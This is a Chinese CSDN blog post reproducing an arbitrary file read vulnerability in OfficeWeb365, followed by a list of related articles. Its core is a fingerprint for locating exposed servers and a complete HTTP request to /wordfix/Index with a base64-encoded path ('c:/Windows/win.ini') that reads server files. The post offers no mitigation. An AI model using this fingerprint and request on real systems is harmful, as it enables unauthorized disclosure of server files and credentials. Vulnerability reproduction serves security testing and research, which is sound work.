OfficeWeb365 Readfile 任意文件读取

最新推荐文章于 2024-06-21 16:02:02 发布
最新推荐文章于 2024-06-21 16:02:02 发布
阅读量329 收藏
点赞数 3
分类专栏： 漏洞复现 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/waxcj/article/details/136032087
版权
本文探讨了在OfficeWeb365环境中发现的一种漏洞，涉及利用特定的指纹特征进行GET请求的重现，可能暗示着安全风险。
摘要由CSDN通过智能技术生成

指纹特征

body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"

漏洞复现

GET /wordfix/Index?f=YzovV2luZG93cy93aW4uaW5p HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

在这里插入图片描述

LZsec
关注
  • 3
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
OfficeWeb365 Readfile 任意文件读取漏洞复现
0xSec
02-03 550
OfficeWeb365 Readfile接口处存在任意文件读取漏洞，攻击者可通过此漏洞对payload进行base64编码，读取任意文件，获取服务器敏感信息，使系统处于极不安全的状态。
PHP代码审计之任意文件读取
qq_22132931的博客
12-02 627
PHP代码审计之任意文件读取
【WEB漏洞原理】任意文件读取漏洞
过期的秋刀鱼
08-31 1115
一些网站的需求，可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过，就可以查看或下载任意文件。这些文件可以是源代码文件，配置文件，敏感文件等等。任意文件读取会造成（敏感）信息泄露；任意文件读取大多数情况是由于其他漏洞引发的，如RCE、目录遍历、文件包含等。任意文件读取与任意文件下载本质上没有区别，信息都是从服务端流向浏览器的。任意文件读取与下载可能形式不同，但是从本质上讲读取与下载没有区别，从权限角度来讲，读取与下载都需要读权限。
4、任意文件读取漏洞
feiwujiushiwo的博客
01-07 359
任意文件读取也被称作目录遍历。网站读取用户提交的参数中文件路径并显示文件内容的功能存 在缺陷，可导致用户自定义文件名或文件路径Web通用漏洞低危/高危可读取服务器特定目录下的文件，文件内容不敏感。/可读取服务器任意目录下的文件Tips：可使用 ../../ 的方式跳出当前目录任意文件下载漏洞的利用主要是为了信息收集，通过对服务器配置文件的下载，获取到大量的配置信息、源码，从而根据获取的信息来进一步挖掘服务器漏洞从而入侵。
OfficeWeb365 Readfile 任意文件读取漏洞
weixin_52204925的博客
02-03 1228
OfficeWeb365 Readfile 任意文件读取漏洞
漏洞复现-Office Web 365 任意文件读取漏洞（附漏洞检测脚本）
jjjj1029056414的博客
01-04 893
漏洞复现-Office Web 365 任意文件读取漏洞，附带自己写的poc脚本
windows 任意文件读取漏洞复现
StriveBen的博客
01-02 2441
在复现windows 的最新0day（任意用户下，可以读取任意文件）之前，先简单介绍下windows 下用户管理需要的基本命令。 文章首发公众号，欢迎大家关注，并进技术交流群（363034250），共同进步哈。 windows 用户管理基本命令 查看用户 net user 查看所有用户： 查看用户权限 net user xxx 该命令可以查看用户的权限，如下图，在本地组成员...
泛微OA xmlrpcServlet接口任意文件读取漏洞（CNVD-2022-43245）
fly夏天的博客
12-25 1632
泛微e-cology XmlRpcServlet接口处存在任意文件读取漏洞（CNVD-2022-43245 ），攻击者可利用漏洞获取敏感信息。本来提供了漏洞复现的方法并提供了利用脚本可以方便的将base64数据转换成可读文本。
php readfile下载大文件失败的解决方法
10-19
主要介绍了php readfile下载大文件失败的解决方法,涉及php针对大文件的分割及逐块下载操作实现技巧,需要的朋友可以参考下
readFile_readfile格式_数据读取_
09-29
对不同数据格式文件进行读取，并用数组形式和图的形式进行显示。滤波方法去除干扰。对数据进行频谱计算并显示。分析频谱成分，提取信号，对比滤波效果的异同。
java文件读写操作大全
08-22
这两个方法分别用于读取普通文本文件和处理包含中文字符的文件，确保了正确读取文件内容。 七.创建文件(文件夹) ```java public void createFile(String filePath) throws IOException { File file = new File...
网络安全原理与应用：任意文件上传攻击演示.pptx
05-16
第7章 Web应用安全任意文件上传攻击演示目标要求Objectives了解任意文件上传攻击的基本流程；掌握在DVWA平台下任意文件上传攻击的基本方法；任意文件上传攻击演示一、任意文件上传漏洞的利用思路1、使用passthru() ...
【网络安全】网络安全威胁及途径
衍生星球的博客
06-17 189
目前，网络的主要应用包括：电子商务、网上银行、股票、证券、期货交易、即时通信、邮件、网游、下载文件或点击链接等，这些应用都存在大量的安全威胁和隐患。网络安全管理中出现的漏洞和疏忽都属于人为因素，网络安全中最突出的问题是缺乏完善的法律法规、管理准则规范和制度、网络安全组织机构及人员，不够重视或缺少安全检测及实时有效的监控、维护和审计。网络安全的威胁和风险主要涉及网络系统研发、结构、层次、范畴、应用和管理等，要做好网络安全防范，必须进行认真深入的调研、分析和研究，以解决网络系统的安全风险及隐患。
网络安全（补充）
m0_62207482的博客
06-15 682
物理安全威胁一般分为自然安全威胁和人为安全威胁。自然安全威胁包括地震、洪水、火灾、鼠害、雷电；；；；人为安全威胁包括盗窃、爆炸、毁坏、硬件安全 防火墙白名单策略：只允许符合安全规则的包通过防火墙，其他通信包禁止 防火墙名单策略：禁止与安全规则相冲突的包通过防火墙，其他通信包都允许 将入侵检测系统置于防火墙内部，使得很多对网络的攻击首先被防火墙过滤，也就是防火墙是首当其冲的，从而减少了对内部入侵检测系统的干扰，提高入侵检测系统的准确率，但是其检测能力不会变化 通过VPN技术，企业可以在远程用户、分
网络安全练气篇——OWASP TOP 10
weixin_55762309的博客
06-13 1271
OWASP（开放式Web应用程序安全项目）是一个开放的社区，由非营利组织 OWASP基金会支持的项目。对所有致力于改进应用程序安全的人士开放，旨在提高对应用程序安全性的认识。其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ，总结并更新Web应用程序中最可能、最常见、最危险的十大漏洞，是开发、测试、服务、咨询人员应知应会的知识。最重要的版本应用程序中最严重的十大风险。
网络安全筑基篇——SQL注入
weixin_55762309的博客
06-17 1138
SQL（Structured Query Language，结构化查询语言）是一种用于管理关系型数据库系统的语言，它可以用于创建、修改和删除数据库中的表和记录，以及执行查询操作。简单易学：SQL语法相对简单，易于理解和学习。高效灵活：SQL可以执行快速和复杂的数据库操作，如插入、更新、删除和查询。标准化：SQL是一种标准化的语言，大多数关系型数据库系统都支持SQL。表达能力强：SQL支持各种复杂的查询和数据操作，可以根据需要进行数据的筛选、排序、合并等操作。
[网络安全产品]---EDR
嘿嘿嘿
06-21 1055
EDR（Endpoint Detection and Response，端点检测和响应）,这是一种技术或者说是解决方案，它记录端点上的行为，使用数据分析和基于上下文的信息检测来发现异常和恶意活动，并记录有关恶意活动的数据，使安全团队能够调查和响应事件。此外EDR 解决方案会在每台设备上安装一个软件代理，以确保整个数字生态系统对安全团队可见，将监控终端数据传送给EDR平台，对于终端安全的防御还是基于EDR平台，所以减轻的终端为保护自身安全所牺牲的性能。-------这里我觉得和态势感知的过程异曲同工之妙。
访问外网的安全保障——反向沙箱
最新发布
Canon_YK的博客
06-21 241
目前许多安全厂家因为使用的需求，进而研制出反向沙盒，其中深信达SPN（Sandbox Proxy Network）安全上网解决方案，是直接把终端传统外网物理断开，然后在内网中部署一个沙盒安全上网网关主机，在需要访问外网的终端上安装一个沙盒，当需要访问互联网的时候，在这个隔离沙盒内访问互联网。然而，需要注意的是，虽然反向沙箱为我们提供了强大的网络安全防护能力，但它并非万能的解决方案。由此可见，反向沙箱的运行逻辑是和正常的沙箱是相反的，只能通过沙盒的安全空间以及网关上的设置使得上外网只能通过改途径。
os_readfile读取PROC文件
07-28
你可以使用C语言中的os_readfile函数来读取/proc文件系统中的文件。/proc文件系统是一个虚拟文件系统，它提供了关于系统内核和进程的信息。要读取/proc文件，你需要使用标准的文件操作函数，例如fopen、fread和fclose。 下面是一个简单的示例代码，展示了如何使用os_readfile函数来读取/proc文件： ```c #include <stdio.h> #define MAX_BUFFER_SIZE 1024 int os_readfile(const char *filename, char *buffer, int max_size) { FILE *file = fopen(filename, "r"); if (file == NULL) { perror("Failed to open file"); return -1; } int read_size = fread(buffer, sizeof(char), max_size - 1, file); if (read_size < 0) { perror("Failed to read file"); fclose(file); return -1; } buffer[read_size] = '\0'; // 添加字符串结束符 fclose(file); return read_size; } int main() { char buffer[MAX_BUFFER_SIZE]; const char *filename = "/proc/version"; int read_size = os_readfile(filename, buffer, MAX_BUFFER_SIZE); if (read_size > 0) { printf("File content:\n%s\n", buffer); } return 0; } ``` 在这个示例中，我们定义了一个名为os_readfile的函数，它接受一个文件名、一个缓冲区和最大缓冲区大小作为参数。该函数尝试打开指定的文件，读取文件内容，并将其存储在缓冲区中。最后，它关闭文件并返回读取的字节数。 在主函数中，我们使用os_readfile函数读取/proc/version文件的内容，并将其打印到控制台上。 请注意，你可以根据需要更改文件名和缓冲区大小，以适应不同的/proc文件。确保你有适当的权限来读取/proc文件系统中的文件。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值